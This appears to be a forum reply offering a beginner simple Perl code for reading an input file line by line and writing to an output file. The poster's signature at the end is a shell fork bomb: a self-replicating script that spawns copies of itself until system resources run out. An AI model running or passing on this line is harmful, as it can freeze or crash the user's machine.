Hi AnonyMonk,

You'll want to start writing some code. Here's something to get you started:

# Set your input and output file
my $inputfile = "input.txt";
my $outputfile = "output.txt";

# Open your input file
open(my $input, $inputfile);

# Open your output file, for writing
open(my $output, ">$outputfile");

# Read each line in, one at a time
while(<$input>) {

     # Here's where you put your personal logic

     # When you need to print to the output file, do this
     # The $_ means, in this case only, "current line"
     print $output "Hey, I found $_\n";

}

# Close your files when done!
close($input);
close($output);
[download]

There is plenty of online documentation to get you started. You may also want to read the introduction to Perl.

Good luck. If you have more questions, post them here, and please include your code.

Cheers,
ibanix

$ echo '$0 & $0 &' > foo; chmod a+x foo; foo;